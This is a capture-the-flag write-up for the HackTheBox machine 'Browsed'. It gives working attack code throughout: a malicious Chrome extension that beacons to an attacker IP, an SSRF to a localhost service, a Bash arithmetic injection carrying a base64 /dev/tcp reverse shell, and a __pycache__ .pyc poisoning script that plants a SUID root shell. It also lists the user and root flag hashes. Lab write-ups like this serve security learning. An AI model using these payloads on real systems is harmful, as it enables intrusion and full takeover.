HackTheBox — Browsed
- Difficulty: Medium
- OS: Linux
Flags
| user.txt | 35b3bbf84ef6853ce738cb5f7fd4944c |
| root.txt | 635dc86f247292ff95189ed61abe4420 |
Overview
Browsed was a creative machine that abused a developer's trust in an extension upload workflow. The attack chain ran through a malicious Chrome extension → browser-context SSRF → Bash injection → reverse shell. Root came down to a classic Python cache poisoning trick against a world-writable __pycache__ directory. Not your typical web box — this one required thinking from inside the browser.
1. Scanning & Enumeration
Starting with a full port scan to make sure nothing is hiding on a high port.
codenmap 10.129.244.79 -p- -sV -oN nmap.txt
Only two ports. SSH with no creds is a dead end for now — the web server is where we start.
Add the vhosts to /etc/hosts.
2. Web Application Analysis
Navigating to http://browsed.htb reveals a platform that accepts Chrome extension uploads. The site claims a developer reviews each submission and installs approved ones.
There's a /samples.html page with a working demo extension called fontify.zip — useful for understanding the expected structure.
codewget http://browsed.htb/samples/fontify.zip unzip fontify.zip -d fontify/
codefontify/ ├── content.js ├── manifest.json ├── popup.html ├── popup.js └── style.css
The manifest.json is the most interesting file:
code{ "manifest_version": 3, "permissions": ["storage", "scripting"], "content_scripts": [{ "matches": ["<all_urls>"], "js": ["content.js"], "run_at": "document_idle" }] }
The "matches": ["<all_urls>"] declaration means content.js executes on every single website the developer browses — including http://localhost. This is the attack surface. If we can get our extension installed, we get arbitrary JavaScript running inside their browser.
3. Building the Malicious Extension
We reuse the fontify structure as a base and replace content.js with our own code. Keep a quick script for re-zipping during iteration:
codecat > pack.sh << 'EOF' #!/bin/bash rm -f fontify.zip zip -r fontify.zip fontify/ echo "[+] Done" EOF chmod +x pack.sh
Step 1 — Verify Code Execution
First, confirm the extension actually fires when installed. Set up an HTTP listener and beacon home:
code// fontify/content.js const C2 = "10.10.15.154"; new Image().src = `http://${C2}/ping?t=${Date.now()}`;
codepython3 -m http.server 80 ./pack.sh # Upload fontify.zip via the web portal
Within a minute or two, the request lands:
code10.129.244.79 - - GET /ping?t=1712... 200
Code execution confirmed inside the developer's browser.
4. SSRF — Getting Inside
Since the extension runs inside the developer's browser, it has the same network access they do — including localhost. The second vhost browsedinternals.htb is a strong hint that there's something internal we can't reach directly.
Test reachability of common internal ports:
code// fontify/content.js const C2 = "10.10.15.154"; fetch("http://127.0.0.1:5000/", { mode: "no-cors" }) .finally(() => { new Image().src = `http://${C2}/ssrf?status=hit`; });
code./pack.sh
code10.129.244.79 - - GET /ssrf?status=hit 200
There's a live service on 127.0.0.1:5000. It's only reachable through the browser — exactly what we needed.
5. Foothold — Bash Injection RCE
Probing the internal app reveals an endpoint at:
codehttp://127.0.0.1:5000/routines/<input>
The application takes the path parameter and passes it directly into a Bash arithmetic expression without sanitization:
codeecho $((user_input))
Why this is dangerous:
Bash arithmetic evaluation supports array syntax: a[index]. The index is evaluated as a shell command when wrapped in $(...). So:
codeecho $((a[$(id)]))
...executes id and tries to use the output as an array index. This is code execution by design.
We can abuse this to run an arbitrary command. To avoid issues with spaces and special characters in the URL, we base64-encode the reverse shell payload and decode it at runtime:
code// fontify/content.js — Full RCE payload const C2 = "10.10.14.154"; const TARGET = "http://127.0.0.1:5000/routines/"; // Reverse shell, base64 encoded const cmd = `bash -c 'bash -i >& /dev/tcp/${C2}/9001 0>&1'`; const b64 = btoa(cmd); const sp = "%20"; // space, URL encoded // Inject: a[$(echo <payload> | base64 -d | bash)] const inject = `a[$(echo${sp}${b64}|base64${sp}-d|bash)]`; fetch(TARGET + inject, { mode: "no-cors" });
Start the listener, then upload:
codenc -lvnp 9001 ./pack.sh # Upload fontify.zip
Stabilize it properly:
codepython3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg export TERM=xterm
6. User Flag
codelarry@browsed:~$ cat user.txt
code35b3bbf84ef6853ce738cb5f7fd4944c
7. Privilege Escalation
Sudo Enumeration
codelarry@browsed:~$ sudo -l
codeUser larry may run the following commands on browsed: (root) NOPASSWD: /opt/extensiontool/extension_tool.py
Larry can run a Python script as root without a password. Let's look at the directory:
codels -la /opt/extensiontool/
codedrwxr-xr-x 3 root root extension_tool.py drwxr-xr-x 2 root root extension_utils.py drwxrwxrwx 2 root root __pycache__/ ← world-writable
The Vulnerability
When Python imports a module, it looks for a compiled .pyc file in __pycache__/ before reading the .py source. If the .pyc exists, Python loads and executes it directly — no source file check.
Since __pycache__/ is world-writable, we can swap out the legitimate .pyc for a malicious one. When sudo runs extension_tool.py as root, it imports extension_utils, loads our evil bytecode, and executes our payload with root privileges.
Exploit
Create /tmp/poison.py:
code#!/usr/bin/env python3 import os, py_compile, shutil SRC = "/opt/extensiontool/extension_utils.py" DEST = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc" timestamps and size meta = os.stat(SRC) evil = '''import os def validate_manifest(path): os.system("cp /bin/bash /tmp/r00t && chmod +s /tmp/r00t") return {} def clean_temp_files(arg): pass ''' evil += "#" * (meta.st_size - len(evil)) with open("/tmp/evil_src.py", "w") as f: f.write(evil) os.utime("/tmp/evil_src.py", (meta.st_atime, meta.st_mtime)) py_compile.compile("/tmp/evil_src.py", cfile="/tmp/evil.pyc") if os.path.exists(DEST): os.remove(DEST) shutil.copy("/tmp/evil.pyc", DEST) os.chmod(DEST, 0o666) print(f"[+] Cache poisoned: {DEST}")
Run it, then trigger the sudo command:
codepython3 /tmp/poison.py sudo /opt/extensiontool/extension_tool.py --ext Fontify
codels -la /tmp/r00t # -rwsr-sr-x 1 root root ... /tmp/r00t /tmp/r00t -p
coder00t-5.2# id uid=1001(larry) gid=1001(larry) euid=0(root) egid=0(root)
8. Root Flag
coder00t-5.2# cat /root/root.txt
code635dc86f247292ff95189ed61abe4420
9. Summary
Attack Chain
codenmap scan └── Port 80 → Chrome extension upload portal └── Upload malicious fontify.zip └── Developer installs → content.js fires in browser └── SSRF: fetch() to 127.0.0.1:5000 └── Bash arithmetic injection in /routines/ └── Reverse shell as larry └── sudo -l → extension_tool.py └── world-writable __pycache__ └── .pyc poisoning → root
Vulnerability Breakdown
| Step | Vulnerability | Why It Worked |
|---|---|---|
| Initial access | Unreviewed extension upload | Developer blindly installed user-submitted code |
| SSRF | Browser-context trust | Extension ran with same network access as developer |
| RCE | Bash arithmetic injection | User input evaluated inside $((...)) without sanitization |
| PrivEsc | World-writable __pycache__ | Python loads cached bytecode before source — no integrity check |